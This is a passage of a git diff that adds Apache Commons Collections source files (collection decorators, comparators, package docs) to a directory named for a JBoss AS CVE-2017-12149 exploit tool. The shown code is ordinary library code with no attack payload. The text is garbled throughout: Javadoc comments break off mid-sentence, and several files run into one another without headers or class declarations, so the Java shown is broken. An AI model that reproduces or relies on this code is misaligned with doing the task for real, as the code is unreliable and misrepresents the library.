+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object remove() {
+ throw new UnsupportedOperationException();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/package.html"
new file mode 100644
index 0000000..f82cd06
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/package.html"
@@ -0,0 +1,40 @@
+
+
+
+This package contains implementations of the
+{@link org.apache.commons.collections.Buffer Buffer} interface.
+
+The following implementations are provided in the package:
+
+The following decorators are provided in the package:
+
+ * Each method call made on this
+ * This implementation does not perform any special processing with
+ * {@link #iterator()}. Instead it simply returns the value from the
+ * wrapped collection. This may be undesirable, for example if you are trying
+ * to write an unmodifiable implementation it might provide a loophole.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/06/02 21:53:03 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public abstract class AbstractCollectionDecorator implements Collection {
+
+ /** The collection being decorated */
+ protected Collection collection;
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractCollectionDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param coll the collection to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ protected AbstractCollectionDecorator(Collection coll) {
+ if (coll == null) {
+ throw new IllegalArgumentException("Collection must not be null");
+ }
+ this.collection = coll;
+ }
+
+ /**
+ * Gets the collection being decorated.
+ *
+ * @return the decorated collection
+ */
+ protected Collection getCollection() {
+ return collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object) {
+ return collection.add(object);
+ }
+
+ public boolean addAll(Collection coll) {
+ return collection.addAll(coll);
+ }
+
+ public void clear() {
+ collection.clear();
+ }
+
+ public boolean contains(Object object) {
+ return collection.contains(object);
+ }
+
+ public boolean isEmpty() {
+ return collection.isEmpty();
+ }
+
+ public Iterator iterator() {
+ return collection.iterator();
+ }
+
+ public boolean remove(Object object) {
+ return collection.remove(object);
+ }
+
+ public int size() {
+ return collection.size();
+ }
+
+ public Object[] toArray() {
+ return collection.toArray();
+ }
+
+ public Object[] toArray(Object[] object) {
+ return collection.toArray(object);
+ }
+
+ public boolean containsAll(Collection coll) {
+ return collection.containsAll(coll);
+ }
+
+ public boolean removeAll(Collection coll) {
+ return collection.removeAll(coll);
+ }
+
+ public boolean retainAll(Collection coll) {
+ return collection.retainAll(coll);
+ }
+
+ public boolean equals(Object object) {
+ if (object == this) {
+ return true;
+ }
+ return collection.equals(object);
+ }
+
+ public int hashCode() {
+ return collection.hashCode();
+ }
+
+ public String toString() {
+ return collection.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java"
new file mode 100644
index 0000000..136b04c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java"
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+
+/**
+ * Serializable subclass of AbstractCollectionDecorator.
+ *
+ * @author Stephen Colebourne
+ * @since Commons Collections 3.1
+ */
+public abstract class AbstractSerializableCollectionDecorator
+ extends AbstractCollectionDecorator
+ implements Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 6249888059822088500L;
+
+ /**
+ * Constructor.
+ */
+ protected AbstractSerializableCollectionDecorator(Collection coll) {
+ super(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the collection out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(collection);
+ }
+
+ /**
+ * Read the collection in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ collection = (Collection) in.readObject();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/CompositeCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/CompositeCollection.java"
new file mode 100644
index 0000000..95ce796
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/CompositeCollection.java"
@@ -0,0 +1,442 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.iterators.EmptyIterator;
+import org.apache.commons.collections.iterators.IteratorChain;
+import org.apache.commons.collections.list.UnmodifiableList;
+
+/**
+ * Decorates a collection of other collections to provide a single unified view.
+ *
+ * Changes made to this collection will actually be made on the decorated collection.
+ * Add and remove operations require the use of a pluggable strategy. If no
+ * strategy is provided then add and remove are unsupported.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/26 21:58:02 $
+ *
+ * @author Brian McCallister
+ * @author Stephen Colebourne
+ * @author Phil Steitz
+ */
+public class CompositeCollection implements Collection {
+
+ /** CollectionMutator to handle changes to the collection */
+ protected CollectionMutator mutator;
+
+ /** Collections in the composite */
+ protected Collection[] all;
+
+ /**
+ * Create an empty CompositeCollection.
+ */
+ public CompositeCollection() {
+ super();
+ this.all = new Collection[0];
+ }
+
+ /**
+ * Create a Composite Collection with only coll composited.
+ *
+ * @param coll a collection to decorate
+ */
+ public CompositeCollection(Collection coll) {
+ this();
+ this.addComposited(coll);
+ }
+
+ /**
+ * Create a CompositeCollection with colls as the initial list of
+ * composited collections.
+ *
+ * @param colls an array of collections to decorate
+ */
+ public CompositeCollection(Collection[] colls) {
+ this();
+ this.addComposited(colls);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the size of this composite collection.
+ *
+ * This implementation calls
+ * This implementation calls
+ * This implementation calls
+ * This implementation uses an
+ * This implementation calls
+ * This implementation calls
+ * This implementation calls
+ * This implementation calls
+ * This collection exists to provide validation for the decorated collection.
+ * It is normally created to decorate an empty collection.
+ * If an object cannot be added to the collection, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null entries are added to the collection.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedCollection extends AbstractSerializableCollectionDecorator {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -5259182142076705162L;
+
+ /** The predicate to use */
+ protected final Predicate predicate;
+
+ /**
+ * Factory method to create a predicated (validating) collection.
+ *
+ * If there are any elements already in the collection being decorated, they
+ * are validated.
+ *
+ * @param coll the collection to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @return a new predicated collection
+ * @throws IllegalArgumentException if collection or predicate is null
+ * @throws IllegalArgumentException if the collection contains invalid elements
+ */
+ public static Collection decorate(Collection coll, Predicate predicate) {
+ return new PredicatedCollection(coll, predicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the collection being decorated, they
+ * are validated.
+ *
+ * @param coll the collection to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if collection or predicate is null
+ * @throws IllegalArgumentException if the collection contains invalid elements
+ */
+ protected PredicatedCollection(Collection coll, Predicate predicate) {
+ super(coll);
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ this.predicate = predicate;
+ for (Iterator it = coll.iterator(); it.hasNext(); ) {
+ validate(it.next());
+ }
+ }
+
+ /**
+ * Validates the object being added to ensure it matches the predicate.
+ *
+ * The predicate itself should not throw an exception, but return false to
+ * indicate that the object cannot be added.
+ *
+ * @param object the object being added
+ * @throws IllegalArgumentException if the add is invalid
+ */
+ protected void validate(Object object) {
+ if (predicate.evaluate(object) == false) {
+ throw new IllegalArgumentException("Cannot add Object '" + object + "' - Predicate rejected it");
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Override to validate the object being added to ensure it matches
+ * the predicate.
+ *
+ * @param object the object being added
+ * @return the result of adding to the underlying collection
+ * @throws IllegalArgumentException if the add is invalid
+ */
+ public boolean add(Object object) {
+ validate(object);
+ return getCollection().add(object);
+ }
+
+ /**
+ * Override to validate the objects being added to ensure they match
+ * the predicate. If any one fails, no update is made to the underlying
+ * collection.
+ *
+ * @param coll the collection being added
+ * @return the result of adding to the underlying collection
+ * @throws IllegalArgumentException if the add is invalid
+ */
+ public boolean addAll(Collection coll) {
+ for (Iterator it = coll.iterator(); it.hasNext(); ) {
+ validate(it.next());
+ }
+ return getCollection().addAll(coll);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/SynchronizedCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/SynchronizedCollection.java"
new file mode 100644
index 0000000..62986d5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/SynchronizedCollection.java"
@@ -0,0 +1,200 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+
+/**
+ * Decorates another
+ * Iterators must be manually synchronized:
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SynchronizedCollection implements Collection, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 2412805092710877986L;
+
+ /** The collection to decorate */
+ protected final Collection collection;
+ /** The object to lock on, needed for List/SortedSet views */
+ protected final Object lock;
+
+ /**
+ * Factory method to create a synchronized collection.
+ *
+ * @param coll the collection to decorate, must not be null
+ * @return a new synchronized collection
+ * @throws IllegalArgumentException if collection is null
+ */
+ public static Collection decorate(Collection coll) {
+ return new SynchronizedCollection(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param collection the collection to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ protected SynchronizedCollection(Collection collection) {
+ if (collection == null) {
+ throw new IllegalArgumentException("Collection must not be null");
+ }
+ this.collection = collection;
+ this.lock = this;
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param collection the collection to decorate, must not be null
+ * @param lock the lock object to use, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ protected SynchronizedCollection(Collection collection, Object lock) {
+ if (collection == null) {
+ throw new IllegalArgumentException("Collection must not be null");
+ }
+ this.collection = collection;
+ this.lock = lock;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object) {
+ synchronized (lock) {
+ return collection.add(object);
+ }
+ }
+
+ public boolean addAll(Collection coll) {
+ synchronized (lock) {
+ return collection.addAll(coll);
+ }
+ }
+
+ public void clear() {
+ synchronized (lock) {
+ collection.clear();
+ }
+ }
+
+ public boolean contains(Object object) {
+ synchronized (lock) {
+ return collection.contains(object);
+ }
+ }
+
+ public boolean containsAll(Collection coll) {
+ synchronized (lock) {
+ return collection.containsAll(coll);
+ }
+ }
+
+ public boolean isEmpty() {
+ synchronized (lock) {
+ return collection.isEmpty();
+ }
+ }
+
+ /**
+ * Iterators must be manually synchronized.
+ *
+ * The add methods are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedCollection extends AbstractSerializableCollectionDecorator {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 8692300188161871514L;
+
+ /** The transformer to use */
+ protected final Transformer transformer;
+
+ /**
+ * Factory method to create a transforming collection.
+ *
+ * If there are any elements already in the collection being decorated, they
+ * are NOT transformed.
+ *
+ * @param coll the collection to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @return a new transformed collection
+ * @throws IllegalArgumentException if collection or transformer is null
+ */
+ public static Collection decorate(Collection coll, Transformer transformer) {
+ return new TransformedCollection(coll, transformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the collection being decorated, they
+ * are NOT transformed.
+ *
+ * @param coll the collection to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if collection or transformer is null
+ */
+ protected TransformedCollection(Collection coll, Transformer transformer) {
+ super(coll);
+ if (transformer == null) {
+ throw new IllegalArgumentException("Transformer must not be null");
+ }
+ this.transformer = transformer;
+ }
+
+ /**
+ * Transforms an object.
+ *
+ * The transformer itself may throw an exception if necessary.
+ *
+ * @param object the object to transform
+ * @return a transformed object
+ */
+ protected Object transform(Object object) {
+ return transformer.transform(object);
+ }
+
+ /**
+ * Transforms a collection.
+ *
+ * The transformer itself may throw an exception if necessary.
+ *
+ * @param coll the collection to transform
+ * @return a transformed object
+ */
+ protected Collection transform(Collection coll) {
+ List list = new ArrayList(coll.size());
+ for (Iterator it = coll.iterator(); it.hasNext(); ) {
+ list.add(transform(it.next()));
+ }
+ return list;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object) {
+ object = transform(object);
+ return getCollection().add(object);
+ }
+
+ public boolean addAll(Collection coll) {
+ coll = transform(coll);
+ return getCollection().addAll(coll);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TypedCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TypedCollection.java"
new file mode 100644
index 0000000..43b9cba
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TypedCollection.java"
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.util.Collection;
+
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates a
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * If there are any elements already in the collection being decorated, they
+ * are validated.
+ *
+ * @param coll the collection to decorate, must not be null
+ * @param type the type to allow into the collection, must not be null
+ * @return a new typed collection
+ * @throws IllegalArgumentException if collection or type is null
+ * @throws IllegalArgumentException if the collection contains invalid elements
+ */
+ public static Collection decorate(Collection coll, Class type) {
+ return new PredicatedCollection(coll, InstanceofPredicate.getInstance(type));
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedCollection() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java"
new file mode 100644
index 0000000..79daa0a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java"
@@ -0,0 +1,141 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.BoundedCollection;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+
+/**
+ *
+ * If a BoundedCollection is first wrapped in some other collection decorator,
+ * such as synchronized or predicated, the BoundedCollection methods are no
+ * longer accessible.
+ * The factory on this class will attempt to retrieve the bounded nature by
+ * examining the package scope variables.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.10 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableBoundedCollection
+ extends AbstractSerializableCollectionDecorator
+ implements BoundedCollection {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -7112672385450340330L;
+
+ /**
+ * Factory method to create an unmodifiable bounded collection.
+ *
+ * @param coll the
+ * This method is capable of drilling down through up to 1000 other decorators
+ * to find a suitable BoundedCollection.
+ *
+ * @param coll the
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableCollection
+ extends AbstractSerializableCollectionDecorator
+ implements Unmodifiable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -239892006883819945L;
+
+ /**
+ * Factory method to create an unmodifiable collection.
+ *
+ * If the collection passed in is already unmodifiable, it is returned.
+ *
+ * @param coll the collection to decorate, must not be null
+ * @return an unmodifiable collection
+ * @throws IllegalArgumentException if collection is null
+ */
+ public static Collection decorate(Collection coll) {
+ if (coll instanceof Unmodifiable) {
+ return coll;
+ }
+ return new UnmodifiableCollection(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param coll the collection to decorate, must not be null
+ * @throws IllegalArgumentException if collection is null
+ */
+ private UnmodifiableCollection(Collection coll) {
+ super(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/package.html"
new file mode 100644
index 0000000..3a65af8
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/package.html"
@@ -0,0 +1,35 @@
+
+
+
+This package contains implementations of the
+{@link java.util.Collection Collection} interface.
+
+The following implementations are provided in the package:
+
+ * @see #getTrueFirstComparator()
+ * @see #getFalseFirstComparator()
+ * @see #getBooleanComparator(boolean)
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.14 $ $Date: 2004/05/16 11:56:47 $
+ *
+ * @author Rodney Waldhoff
+ */
+public final class BooleanComparator implements Comparator, Serializable {
+
+ /** Serialization version. */
+ private static final long serialVersionUID = 1830042991606340609L;
+
+ /** Constant "true first" reference. */
+ private static final BooleanComparator TRUE_FIRST = new BooleanComparator(true);
+
+ /** Constant "false first" reference. */
+ private static final BooleanComparator FALSE_FIRST = new BooleanComparator(false);
+
+ /**
+ * Equivalent to {@link #BooleanComparator(boolean) BooleanComparator(false)}.
+ *
+ * Please use the static factory instead whenever possible.
+ */
+ public BooleanComparator() {
+ this(false);
+ }
+
+ /**
+ * Creates a
+ * Please use the static factories instead whenever possible.
+ *
+ * @param trueFirst when
+ * This implementation returns
+ * Developers are encouraged to use the comparator returned from this method
+ * instead of constructing a new instance to reduce allocation and GC overhead
+ * when multiple comparable comparators may be used in the same VM.
+ *
+ * @return the singleton ComparableComparator
+ */
+ public static ComparableComparator getInstance() {
+ return instance;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor whose use should be avoided.
+ *
+ * Please use the {@link #getInstance()} method whenever possible.
+ */
+ public ComparableComparator() {
+ super();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compare the two {@link Comparable Comparable} arguments.
+ * This method is equivalent to:
+ *
+ * This implementation returns A ComparatorChain is a Comparator that wraps one or
+ * more Comparators in sequence. The ComparatorChain
+ * calls each Comparator in sequence until either 1)
+ * any single Comparator returns a non-zero result
+ * (and that result is then returned),
+ * or 2) the ComparatorChain is exhausted (and zero is
+ * returned). This type of sorting is very similar
+ * to multi-column sorting in SQL, and this class
+ * allows Java classes to emulate that kind of behaviour
+ * when sorting a List. To further facilitate SQL-like sorting, the order of
+ * any single Comparator in the list can be reversed. Calling a method that adds new Comparators or
+ * changes the ascend/descend sort after compare(Object,
+ * Object) has been called will result in an
+ * UnsupportedOperationException. However, take care
+ * to not alter the underlying List of Comparators
+ * or the BitSet that defines the sort order. Instances of ComparatorChain are not synchronized.
+ * The class is not thread-safe at construction time, but
+ * it is thread-safe to perform multiple comparisons
+ * after all the setup operations are complete.
+ * This implementation returns
+ * Once
+ * Instances of FixedOrderComparator are not synchronized. The class is not
+ * thread-safe at construction time, but it is thread-safe to perform
+ * multiple comparisons after all the setup operations are complete.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.10 $ $Date: 2004/05/15 13:24:11 $
+ *
+ * @author David Leppik
+ * @author Stephen Colebourne
+ * @author Janek Bogucki
+ */
+public class FixedOrderComparator implements Comparator {
+
+ /**
+ * Behavior when comparing unknown Objects:
+ * unknown objects compare as before known Objects.
+ */
+ public static final int UNKNOWN_BEFORE = 0;
+
+ /**
+ * Behavior when comparing unknown Objects:
+ * unknown objects compare as after known Objects.
+ */
+ public static final int UNKNOWN_AFTER = 1;
+
+ /**
+ * Behavior when comparing unknown Objects:
+ * unknown objects cause a IllegalArgumentException to be thrown.
+ * This is the default behavior.
+ */
+ public static final int UNKNOWN_THROW_EXCEPTION = 2;
+
+ /** Internal map of object to position */
+ private final Map map = new HashMap();
+ /** Counter used in determining the position in the map */
+ private int counter = 0;
+ /** Is the comparator locked against further change */
+ private boolean isLocked = false;
+ /** The behaviour in the case of an unknown object */
+ private int unknownObjectBehavior = UNKNOWN_THROW_EXCEPTION;
+
+ // Constructors
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs an empty FixedOrderComparator.
+ */
+ public FixedOrderComparator() {
+ super();
+ }
+
+ /**
+ * Constructs a FixedOrderComparator which uses the order of the given array
+ * to compare the objects.
+ *
+ * The array is copied, so later changes will not affect the comparator.
+ *
+ * @param items the items that the comparator can compare in order
+ * @throws IllegalArgumentException if the array is null
+ */
+ public FixedOrderComparator(Object[] items) {
+ super();
+ if (items == null) {
+ throw new IllegalArgumentException("The list of items must not be null");
+ }
+ for (int i = 0; i < items.length; i++) {
+ add(items[i]);
+ }
+ }
+
+ /**
+ * Constructs a FixedOrderComparator which uses the order of the given list
+ * to compare the objects.
+ *
+ * The list is copied, so later changes will not affect the comparator.
+ *
+ * @param items the items that the comparator can compare in order
+ * @throws IllegalArgumentException if the list is null
+ */
+ public FixedOrderComparator(List items) {
+ super();
+ if (items == null) {
+ throw new IllegalArgumentException("The list of items must not be null");
+ }
+ for (Iterator it = items.iterator(); it.hasNext();) {
+ add(it.next());
+ }
+ }
+
+ // Bean methods / state querying methods
+ //-----------------------------------------------------------------------
+ /**
+ * Returns true if modifications cannot be made to the FixedOrderComparator.
+ * FixedOrderComparators cannot be modified once they have performed a comparison.
+ *
+ * @return true if attempts to change the FixedOrderComparator yield an
+ * UnsupportedOperationException, false if it can be changed.
+ */
+ public boolean isLocked() {
+ return isLocked;
+ }
+
+ /**
+ * Checks to see whether the comparator is now locked against further changes.
+ *
+ * @throws UnsupportedOperationException if the comparator is locked
+ */
+ protected void checkLocked() {
+ if (isLocked()) {
+ throw new UnsupportedOperationException("Cannot modify a FixedOrderComparator after a comparison");
+ }
+ }
+
+ /**
+ * Gets the behavior for comparing unknown objects.
+ *
+ * @return the flag for unknown behaviour - UNKNOWN_AFTER,
+ * UNKNOWN_BEFORE or UNKNOWN_THROW_EXCEPTION
+ */
+ public int getUnknownObjectBehavior() {
+ return unknownObjectBehavior;
+ }
+
+ /**
+ * Sets the behavior for comparing unknown objects.
+ *
+ * @param unknownObjectBehavior the flag for unknown behaviour -
+ * UNKNOWN_AFTER, UNKNOWN_BEFORE or UNKNOWN_THROW_EXCEPTION
+ * @throws UnsupportedOperationException if a comparison has been performed
+ * @throws IllegalArgumentException if the unknown flag is not valid
+ */
+ public void setUnknownObjectBehavior(int unknownObjectBehavior) {
+ checkLocked();
+ if (unknownObjectBehavior != UNKNOWN_AFTER
+ && unknownObjectBehavior != UNKNOWN_BEFORE
+ && unknownObjectBehavior != UNKNOWN_THROW_EXCEPTION) {
+ throw new IllegalArgumentException("Unrecognised value for unknown behaviour flag");
+ }
+ this.unknownObjectBehavior = unknownObjectBehavior;
+ }
+
+ // Methods for adding items
